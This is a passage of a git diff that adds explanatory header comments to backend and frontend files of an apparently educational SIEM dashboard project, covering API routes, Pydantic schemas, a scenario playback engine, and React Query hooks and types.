- business logic + schemas/alert.py - AlertStatusUpdate, AlertQueryParams + routes/__init__.py - alerts_bp registered here """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/auth.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/auth.py index 734add8a..629e433e 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/auth.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/auth.py @@ -1,6 +1,18 @@ """ ©AngelaMos | 2026 auth.py + +Route handlers for the authentication API (/v1/auth) + +Mounts POST /register, POST /login, PATCH /me, and GET /me. +Registration and login apply a stricter rate limit via Flask-Limiter +on top of the global default. + +Connects to: + controllers/auth_ctrl.py - business logic + schemas/auth.py - RegisterRequest, LoginRequest, UpdateProfileRequest + core/rate_limiting.py - imports limiter for per-endpoint auth limits + routes/__init__.py - auth_bp registered here """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/dashboard.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/dashboard.py index 59c96d38..74376788 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/dashboard.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/dashboard.py @@ -1,6 +1,16 @@ """ ©AngelaMos | 2026 dashboard.py + +Route handlers for the dashboard API (/v1/dashboard) + +Mounts GET / (overview stats), GET /timeline, GET /severity-breakdown, +and GET /top-sources. + +Connects to: + controllers/dashboard_ctrl.py - business logic + schemas/dashboard.py - TimelineParams, TopSourcesParams + routes/__init__.py - dashboard_bp registered here """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/logs.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/logs.py index fe72278e..c6d82e0f 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/logs.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/logs.py @@ -1,6 +1,17 @@ """ ©AngelaMos | 2026 logs.py + +Route handlers for the log events API (/v1/logs) + +Mounts GET /, GET /, POST /ingest, GET /search, GET /stream +(SSE), and GET /pivot. The ingest endpoint is unauthenticated to +support direct log shipping from sources. + +Connects to: + controllers/log_ctrl.py - business logic + schemas/log_event.py - LogIngestRequest, LogQueryParams, LogSearchParams, PivotParams + routes/__init__.py - logs_bp registered here """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/rules.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/rules.py index b1fdd3e9..7aaf66ba 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/rules.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/rules.py @@ -1,6 +1,17 @@ """ ©AngelaMos | 2026 rules.py + +Route handlers for the correlation rules API (/v1/rules) + +Mounts full CRUD (GET /, POST, GET /, PATCH /, DELETE /) +plus POST //test for dry-run rule evaluation against historical +events. + +Connects to: + controllers/rule_ctrl.py - business logic + schemas/rule.py - RuleCreateRequest, RuleUpdateRequest, RuleTestRequest + routes/__init__.py - rules_bp registered here """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/scenarios.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/scenarios.py index 8ddc9922..7b3adae2 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/scenarios.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/scenarios.py @@ -1,6 +1,16 @@ """ ©AngelaMos | 2026 scenarios.py + +Route handlers for the scenarios API (/v1/scenarios) + +Mounts GET /available, GET /running, POST /start, POST //stop, +POST //pause, POST //resume, and PUT //speed. + +Connects to: + controllers/scenario_ctrl.py - business logic + schemas/scenario.py - ScenarioStartRequest, SpeedRequest + routes/__init__.py - scenarios_bp registered here """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbook.py b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbook.py index e8858570..16d73acd 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbook.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbook.py @@ -1,6 +1,22 @@ """ ©AngelaMos | 2026 playbook.py + +YAML playbook loading for attack scenarios + +Parses scenario playbook files into typed Playbook and PlaybookEvent +dataclasses. Playbook.load reads a single file for starting a run; +Playbook.list_available scans the playbooks directory and returns +lightweight metadata without loading full event lists. + +Key exports: + Playbook - dataclass with load() and list_available() class methods + PlaybookEvent - dataclass for a single timed event in a playbook + +Connects to: + config.py - reads SCENARIO_PLAYBOOK_DIR + scenarios/runner.py - calls Playbook.load to start a run + controllers/scenario_ctrl.py - calls Playbook.list_available """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/runner.py b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/runner.py index 316f22b2..cfeb4900 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/runner.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/runner.py @@ -1,6 +1,29 @@ """ ©AngelaMos | 2026 runner.py + +Scenario playback engine + +ScenarioThread plays back a Playbook in a daemon thread, applying +speed multiplier and 20% jitter to event delays. For each event it +normalizes, classifies, persists to MongoDB, and publishes to the log +Redis Stream. ScenarioRunner is a class-level singleton registry that +manages all active threads across start, stop, pause, resume, and +speed adjustment. + +Key exports: + ScenarioRunner - singleton manager for all active scenario threads + ScenarioThread - daemon thread that plays back a single playbook + +Connects to: + config.py - reads SCENARIO_PLAYBOOK_DIR, LOG_STREAM_KEY + core/streaming.py - calls publish_event after each event + engine/normalizer.py - calls normalize + engine/severity.py - calls classify + models/LogEvent.py - calls LogEvent.create_event + models/ScenarioRun.py - calls lifecycle methods + scenarios/playbook.py - calls Playbook.load + controllers/scenario_ctrl.py - calls ScenarioRunner methods """ import random diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/admin.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/admin.py index e7e3caf3..c3576663 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/admin.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/admin.py @@ -1,6 +1,21 @@ """ ©AngelaMos | 2026 admin.py + +Pydantic schemas for the admin user management endpoints + +The role field in AdminUpdateRoleRequest uses a regex pattern built +from UserRole values to block invalid strings before they reach the +database layer. + +Key exports: + AdminUpdateRoleRequest - role change payload with pattern validation + AdminUserListParams - pagination params for user listing + +Connects to: + models/User.py - imports UserRole for pattern generation + config.py - reads DEFAULT_PAGE_SIZE, MAX_PAGE_SIZE + routes/admin.py - passed to S() """ from pydantic import BaseModel, Field diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/alert.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/alert.py index e7ece44f..fa778d37 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/alert.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/alert.py @@ -1,6 +1,20 @@ """ ©AngelaMos | 2026 alert.py + +Pydantic schemas for the alerts endpoints + +Defines AlertStatusUpdate for status transitions and AlertQueryParams +for paginated alert listing with optional status and severity filters. + +Key exports: + AlertStatusUpdate - status transition request + AlertQueryParams - listing filters with pagination + +Connects to: + models/Alert.py - imports AlertStatus for the status field + config.py - reads DEFAULT_PAGE_SIZE, MAX_PAGE_SIZE + routes/alerts.py - passed to S() """ from pydantic import BaseModel, Field diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/auth.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/auth.py index 8770056a..651b023d 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/auth.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/auth.py @@ -1,6 +1,22 @@ """ ©AngelaMos | 2026 auth.py + +Pydantic schemas for authentication endpoints + +Defines request and response models for registration, login, and +self-service profile updates. USERNAME_MIN and USERNAME_MAX are +imported from the User model so validation constraints stay in +sync with the database layer. + +Key exports: + RegisterRequest, LoginRequest, UpdateProfileRequest - request schemas + TokenResponse, UserResponse, UpdateProfileResponse - response schemas + +Connects to: + models/User.py - imports USERNAME_MIN, USERNAME_MAX + controllers/auth_ctrl.py, controllers/admin_ctrl.py - instantiates response schemas + routes/auth.py - passed to S() """ from pydantic import BaseModel, EmailStr, Field diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/dashboard.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/dashboard.py index 8fdfc722..9cb21a8e 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/dashboard.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/dashboard.py @@ -1,6 +1,19 @@ """ ©AngelaMos | 2026 dashboard.py + +Pydantic schemas for dashboard query endpoints + +Minimal schemas for timeline and top-sources endpoints carrying only +the window and limit parameters with sensible defaults from config. + +Key exports: + TimelineParams - hours window and bucket size for timeline aggregation + TopSourcesParams - result count limit for top source IPs + +Connects to: + config.py - reads TIMELINE_DEFAULT_HOURS, TIMELINE_BUCKET_MINUTES, TOP_SOURCES_LIMIT + routes/dashboard.py - passed to S() """ from pydantic import BaseModel, Field diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/log_event.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/log_event.py index 3d1aaad1..ce1710eb 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/log_event.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/log_event.py @@ -1,6 +1,22 @@ """ ©AngelaMos | 2026 log_event.py + +Pydantic schemas for log event endpoints + +Covers raw log ingestion (LogIngestRequest with extra-field passthrough), +paginated listing (LogQueryParams), full-text search (LogSearchParams), +and forensic pivot lookups (PivotParams). + +Key exports: + LogIngestRequest - raw event ingestion allowing extra metadata fields + LogQueryParams - listing filters with pagination + LogSearchParams - search query with pagination + PivotParams - pivot lookup by IP, username, or hostname + +Connects to: + config.py - reads DEFAULT_PAGE_SIZE, MAX_PAGE_SIZE + routes/logs.py - passed to S() """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/rule.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/rule.py index 1ea5d633..239a62d0 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/rule.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/rule.py @@ -1,6 +1,25 @@ """ ©AngelaMos | 2026 rule.py + +Pydantic schemas for correlation rule endpoints + +Defines condition schemas for each rule type (threshold, sequence, +aggregation) and validates the conditions dict in RuleCreateRequest +against the correct schema based on rule_type, catching structural +errors before a rule reaches the engine. + +Key exports: + RuleCreateRequest - creation schema with conditions validation + RuleUpdateRequest - partial update schema + RuleTestRequest - hours window for dry-run evaluation + ThresholdConditions, SequenceConditions, AggregationConditions + +Connects to: + models/CorrelationRule.py - imports RuleType + models/LogEvent.py - imports Severity + config.py - reads TIMELINE_DEFAULT_HOURS, RULE_TEST_MAX_HOURS + routes/rules.py - passed to S() """ from typing import Any, Literal diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/scenario.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/scenario.py index 1508babe..af938c08 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/scenario.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/scenario.py @@ -1,6 +1,19 @@ """ ©AngelaMos | 2026 scenario.py + +Pydantic schemas for scenario control endpoints + +Two schemas: one to identify a playbook file to start and one to +set a speed multiplier within the configured min/max range. + +Key exports: + ScenarioStartRequest - playbook filename for starting a run + SpeedRequest - playback speed multiplier + +Connects to: + config.py - reads SCENARIO_MIN_SPEED, SCENARIO_MAX_SPEED + routes/scenarios.py - passed to S() """ from pydantic import BaseModel, Field diff --git a/PROJECTS/intermediate/siem-dashboard/backend/wsgi.py b/PROJECTS/intermediate/siem-dashboard/backend/wsgi.py index 564dac29..7671fae1 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/wsgi.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/wsgi.py @@ -35,6 +35,8 @@ wsgi.py ⡇⣿⢸⣿⡇⡼⢹⠟⢾⣘⣘⡓⡘⠰⢁⣾⣿⣿⢸⡿⣿⢸⣿⣶⠅⣁⣚⣭⣵⣶⠏⡘⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⣡⣿⣿⣇⠻⣧⢹⣿⠏⢱⣿⣆⢧⢧⣿⣿⣿⣇⣧⡜⡎⣿ ⣷⢸⠸⡿⢘⣥⣶⣿⣿⣿⣿⡇⠇⢶⣾⢿⣿⣿⣸⡇⣿⢺⢏⡔⣹⣿⣿⣿⣿⣿⣿⣿⣮⡙⢿⣿⣿⣿⣿⣿⠟⣡⣾⣿⣿⣿⣿⣧⣌⠃⢿⣧⢃⢻⣿⣎⢸⢹⣿⣿⣿⢻⠰⢷⢹ ⣿⡦⢅⣴⣿⣿⣿⣿⣿⣿⣿⣿⡸⡌⢿⣇⣿⣿⡟⡇⢿⠠⡿⢱⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣮⣝⣛⣫⣵⣾⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⢿⣇⢸⣏⠿⡄⠜⣿⣿⣿⢸⣇⠘⡞ + +WSGI entry point for production deployment """ from app import create_app diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/App.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/App.tsx index eefd8a7a..e62896d5 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/App.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/App.tsx @@ -1,6 +1,19 @@ // =================== // ©AngelaMos | 2026 // App.tsx +// +// Root application component +// +// Wraps the app in QueryClientProvider and RouterProvider, mounts the +// Sonner toast container, and attaches React Query Devtools. Every +// authenticated page renders inside this component's tree. +// +// Key components: +// App - Root component exported as default +// +// Connects to: +// router.tsx - provides the browser router +// query.ts - provides the queryClient singleton // =================== import { QueryClientProvider } from '@tanstack/react-query' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAdmin.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAdmin.ts index d7e98219..a1d123d4 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAdmin.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAdmin.ts @@ -1,6 +1,26 @@ // =================== // ©AngelaMos | 2026 // useAdmin.ts +// +// React Query hooks for admin-only user management: list, role update, and lifecycle +// +// useAdminUsers fetches a paginated user list. useAdminUpdateRole patches a +// user's role and shows a message that includes the new role label. +// useAdminDeactivateUser and useAdminActivateUser toggle the is_active flag. +// useAdminDeleteUser permanently removes a user. All mutations invalidate the +// full admin cache. +// +// Key exports: +// useAdminUsers - paginated user list +// useAdminUser - single user by ID +// useAdminUpdateRole - role change mutation +// useAdminDeactivateUser, useAdminActivateUser - status toggle mutations +// useAdminDeleteUser - permanent delete mutation +// +// Connects to: +// api.ts, config.ts - HTTP client and endpoint/key constants +// admin.types.ts - AdminUpdateRoleRequest, ADMIN_SUCCESS_MESSAGES +// auth.types.ts - UserResponse // =================== import { diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAlerts.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAlerts.ts index a8c0d8b2..348bc864 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAlerts.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAlerts.ts @@ -1,6 +1,22 @@ // =================== // ©AngelaMos | 2026 // useAlerts.ts +// +// React Query hooks for the alerts API: list, detail, and status update +// +// useAlerts fetches a paginated, filterable list of alerts polled every 10 +// seconds. useAlertDetail fetches a single alert with its matched log events. +// useUpdateAlertStatus patches the alert status and invalidates the full +// alerts cache on success. +// +// Key exports: +// useAlerts - paginated alert list with status/severity filtering +// useAlertDetail - single alert with matched events +// useUpdateAlertStatus - mutation to transition alert lifecycle state +// +// Connects to: +// api.ts, config.ts - HTTP client and endpoint/key constants +// alert.types.ts - Alert, AlertDetail, AlertStatusUpdateRequest types // =================== import { diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAuth.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAuth.ts index a5a0c97d..4a499f5f 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAuth.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAuth.ts @@ -1,6 +1,24 @@ // =================== // ©AngelaMos | 2026 // useAuth.ts +// +// React Query hooks for authentication: login, register, logout, and profile update +// +// useLogin and useRegister both fetch the user profile after receiving a token, +// then call login() on the auth store. useLogout clears the store and redirects +// to /login. useUpdateProfile patches the profile and conditionally refreshes +// the stored token if the server returns a new one. +// +// Key exports: +// useCurrentUser - query hook for the authenticated user's profile +// useLogin, useRegister - mutation hooks that store the JWT on success +// useLogout - clears auth state and redirects to login +// useUpdateProfile - mutation hook for username, email, or password changes +// +// Connects to: +// auth.store.ts - calls login, logout, setAccessToken, updateUser +// api.ts - apiClient for HTTP calls +// auth.types.ts - schemas, types, and error class // =================== import { diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useDashboard.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useDashboard.ts index fe047e87..10964055 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useDashboard.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useDashboard.ts @@ -1,6 +1,24 @@ // =================== // ©AngelaMos | 2026 // useDashboard.ts +// +// React Query hooks for the four dashboard data endpoints +// +// All four hooks use the dashboard query strategy (30s stale, 30s polling) +// so every panel refreshes together at the same cadence. useDashboardOverview +// fetches aggregate counts. useTimeline defaults to a 24h window with 15-minute +// buckets. useSeverityBreakdown returns per-severity alert counts. +// useTopSources returns the highest-volume source IPs by event count. +// +// Key exports: +// useDashboardOverview - total events, alerts, open alerts, severity counts +// useTimeline - time-bucketed event counts for the area chart +// useSeverityBreakdown - per-severity counts for the donut chart +// useTopSources - ranked source IPs for the bar list +// +// Connects to: +// api.ts, config.ts - HTTP client and endpoint/key constants +// dashboard.types.ts - DashboardOverview, TimelineBucket, TopSource // =================== import type { UseQueryResult } from '@tanstack/react-query' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useEventStream.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useEventStream.ts index fe247125..17391e55 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useEventStream.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useEventStream.ts @@ -1,6 +1,23 @@ // =================== // ©AngelaMos | 2026 // useEventStream.ts +// +// SSE hooks that connect to the live log and alert streams +// +// useLogStream and useAlertStream each open an EventSource connection to the +// backend. Because EventSource doesn't support custom headers, the JWT is +// passed as a URL query parameter. On error the connection closes and +// reconnects after 3 seconds. Events are pushed into the stream store's +// ring buffers. Both hooks clean up their connection on unmount. +// +// Key exports: +// useLogStream - connects to /logs/stream and pushes events into streamStore +// useAlertStream - connects to /alerts/stream and pushes events into streamStore +// +// Connects to: +// stream.store.ts - pushLogEvent, pushAlertEvent, setLogConnected, setAlertConnected +// auth.store.ts - reads accessToken for the URL query param +// api.ts - getBaseURL() for SSE URL construction // =================== import { useCallback, useEffect, useRef } from 'react' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useLogs.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useLogs.ts index e7e30efd..7d8a35c3 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useLogs.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useLogs.ts @@ -1,6 +1,23 @@ // =================== // ©AngelaMos | 2026 // useLogs.ts +// +// React Query hooks for the logs API: list, detail, full-text search, and pivot +// +// useLogs returns a paginated, filterable event list polled on the frequent +// strategy. useLogSearch queries the full-text search endpoint and is only +// enabled when a query string is present. useLogPivot fetches all events +// matching a given IP, username, or hostname for alert investigation. +// +// Key exports: +// useLogs - paginated log list with source/severity filtering +// useLogDetail - single event by ID +// useLogSearch - full-text search across log events +// useLogPivot - cross-field pivot for forensic investigation +// +// Connects to: +// api.ts, config.ts - HTTP client and endpoint/key constants +// log.types.ts - LogEvent, LogQueryParams, LogSearchParams, PivotParams // =================== import type { UseQueryResult } from '@tanstack/react-query' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useRules.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useRules.ts index 6e8084b0..4bd84e0c 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useRules.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useRules.ts @@ -1,6 +1,23 @@ // =================== // ©AngelaMos | 2026 // useRules.ts +// +// React Query hooks for the correlation rules API: CRUD and dry-run testing +// +// useRules and useRuleDetail fetch rule data without a polling strategy since +// rules change infrequently. useCreateRule, useUpdateRule, and useDeleteRule +// all invalidate the full rules cache on success. useTestRule runs a dry-run +// against the last 24 hours of logs without persisting any alerts. +// +// Key exports: +// useRules - full rule list +// useRuleDetail - single rule by ID +// useCreateRule, useUpdateRule, useDeleteRule - rule lifecycle mutations +// useTestRule - dry-run mutation returning events evaluated and alert count +// +// Connects to: +// api.ts, config.ts - HTTP client and endpoint/key constants +// rule.types.ts - CorrelationRule, RuleCreateRequest, RuleTestResult // =================== import { diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useScenarios.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useScenarios.ts index bd6a617e..326b3083 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useScenarios.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useScenarios.ts @@ -1,6 +1,25 @@ // =================== // ©AngelaMos | 2026 // useScenarios.ts +// +// React Query hooks for scenario playbooks and running scenario lifecycle +// +// useAvailablePlaybooks fetches the static list of YAML playbooks from disk. +// useRunningScenarios polls every 10 seconds for active scenario runs. +// The five mutation hooks (start, stop, pause, resume, setSpeed) all +// invalidate the running scenarios query on success so the UI reflects +// the latest state immediately after each action. +// +// Key exports: +// useAvailablePlaybooks - list of playbooks available to launch +// useRunningScenarios - active scenario runs with status and progress +// useStartScenario, useStopScenario - run lifecycle mutations +// usePauseScenario, useResumeScenario - pause control mutations +// useSetScenarioSpeed - playback speed mutation +// +// Connects to: +// api.ts, config.ts - HTTP client and endpoint/key constants +// scenario.types.ts - ScenarioRun, PlaybookInfo, ScenarioStartRequest // =================== import { diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/admin.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/admin.types.ts index 430f4942..cb07ab47 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/admin.types.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/admin.types.ts @@ -1,6 +1,22 @@ // =================== // ©AngelaMos | 2026 // admin.types.ts +// +// Types, schemas, and message constants for the admin user management API +// +// Defines the UserRole const, role update request schema, paginated user +// list response schema, and toast message constants. Imports userResponseSchema +// from auth.types so admin lists use the same user shape. +// +// Key exports: +// UserRole - admin and analyst role constants +// adminUpdateRoleRequestSchema - Zod validation for role changes +// adminUserListResponseSchema - paginated user list response type +// ADMIN_SUCCESS_MESSAGES, ADMIN_ERROR_MESSAGES - toast message templates +// +// Connects to: +// auth.types.ts - imports userResponseSchema +// useAdmin.ts - consumes all admin types // =================== import { z } from 'zod' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/alert.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/alert.types.ts index 2f246052..3ade7b20 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/alert.types.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/alert.types.ts @@ -1,6 +1,23 @@ // =================== // ©AngelaMos | 2026 // alert.types.ts +// +// Zod schemas and types for alert list, detail, and SSE stream responses +// +// Exports the main alertSchema for paginated list data, alertDetailSchema +// that includes matched log events, and the lighter streamAlertEventSchema +// used by the SSE feed. Each schema has a companion type alias and runtime +// type guard. +// +// Key exports: +// alertSchema, Alert - full alert document type +// alertDetailSchema, AlertDetail - alert plus matched log events +// streamAlertEventSchema, StreamAlertEvent - compact SSE payload type +// AlertStatusUpdateRequest - mutation payload for status changes +// +// Connects to: +// log.types.ts - imports logEventSchema for alertDetailSchema +// useAlerts.ts, useEventStream.ts - consume these types // =================== import { z } from 'zod' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/auth.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/auth.types.ts index e3b41649..ae862d87 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/auth.types.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/auth.types.ts @@ -1,6 +1,24 @@ // =================== // ©AngelaMos | 2026 // auth.types.ts +// +// Zod schemas, types, validation helpers, and error classes for the auth API +// +// Covers login, registration, and profile update flows. Includes both request +// and response schemas with field-level validation rules, runtime type guards, +// user-facing message constants, and AuthResponseError for signaling malformed +// server responses in hooks. +// +// Key exports: +// userResponseSchema, tokenResponseSchema - response validators +// loginRequestSchema, registerRequestSchema - form validation schemas +// updateProfileRequestSchema - cross-field validation for profile form +// AuthResponseError - typed error class for auth hook failures +// AUTH_ERROR_MESSAGES, AUTH_SUCCESS_MESSAGES - toast message constants +// +// Connects to: +// useAuth.ts - consumes schemas and error class +// admin.types.ts - imports userResponseSchema // =================== import { z } from 'zod' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/common.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/common.types.ts index 55358102..e474820c 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/common.types.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/common.types.ts @@ -1,6 +1,18 @@ // =================== // ©AngelaMos | 2026 // common.types.ts +// +// Shared enum-like constants, Zod schemas, and types used across all API type modules +// +// Defines the core domain value sets (SourceType, Severity, AlertStatus, +// RuleType, RunStatus) as const objects with companion type aliases. Also +// exports the generic paginatedResponseSchema factory and PaginatedResponse +// type used by every paginated API hook. +// +// Key exports: +// Severity, AlertStatus, RuleType, SourceType, RunStatus - domain value sets +// paginatedResponseSchema - generic Zod factory for paginated list responses +// PaginatedResponse - TypeScript type for paginated API responses // =================== import { z } from 'zod' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/dashboard.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/dashboard.types.ts index 7a6cbd5b..5d7e9eeb 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/dashboard.types.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/dashboard.types.ts @@ -1,6 +1,22 @@ // =================== // ©AngelaMos | 2026 // dashboard.types.ts +// +// Zod schemas and types for all dashboard API responses +// +// Covers the overview stats block, timeline buckets, and top source IP +// entries. Each schema has a companion type alias, runtime type guard, +// and where applicable a request param interface for the hook layer. +// +// Key exports: +// dashboardOverviewSchema, DashboardOverview - combined stats block +// timelineBucketSchema, TimelineBucket - per-bucket event count +// topSourceSchema, TopSource - source IP with event count +// TimelineParams, TopSourcesParams - query param interfaces +// +// Connects to: +// useDashboard.ts - consumes all these types +// event-timeline.tsx, severity-chart.tsx, stat-cards.tsx, top-sources.tsx - render data // =================== import { z } from 'zod' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/log.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/log.types.ts index c4ae2a7b..f166ef60 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/log.types.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/log.types.ts @@ -1,6 +1,21 @@ // =================== // ©AngelaMos | 2026 // log.types.ts +// +// Zod schemas and types for log event list, detail, and SSE stream responses +// +// Exports the full logEventSchema for detail and paginated views, and the +// slimmer streamLogEventSchema for the real-time SSE feed. Also exports +// query param interfaces for list, search, and forensic pivot requests. +// +// Key exports: +// logEventSchema, LogEvent - complete log event document type +// streamLogEventSchema, StreamLogEvent - compact SSE feed payload type +// LogQueryParams, LogSearchParams, PivotParams - API request param types +// +// Connects to: +// alert.types.ts - logEventSchema imported for alertDetailSchema +// useLogs.ts, useEventStream.ts - consume these types // =================== import { z } from 'zod' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/rule.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/rule.types.ts index 5eb3b49e..1d8a1d04 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/rule.types.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/rule.types.ts @@ -1,6 +1,21 @@ // =================== // ©AngelaMos | 2026 // rule.types.ts +// +// Zod schemas and types for correlation rules and rule test results +// +// Defines the full correlationRuleSchema for list and detail views, and the +// ruleTestResultSchema describing a dry-run evaluation. Also exports plain +// TypeScript interfaces for create, update, and test request 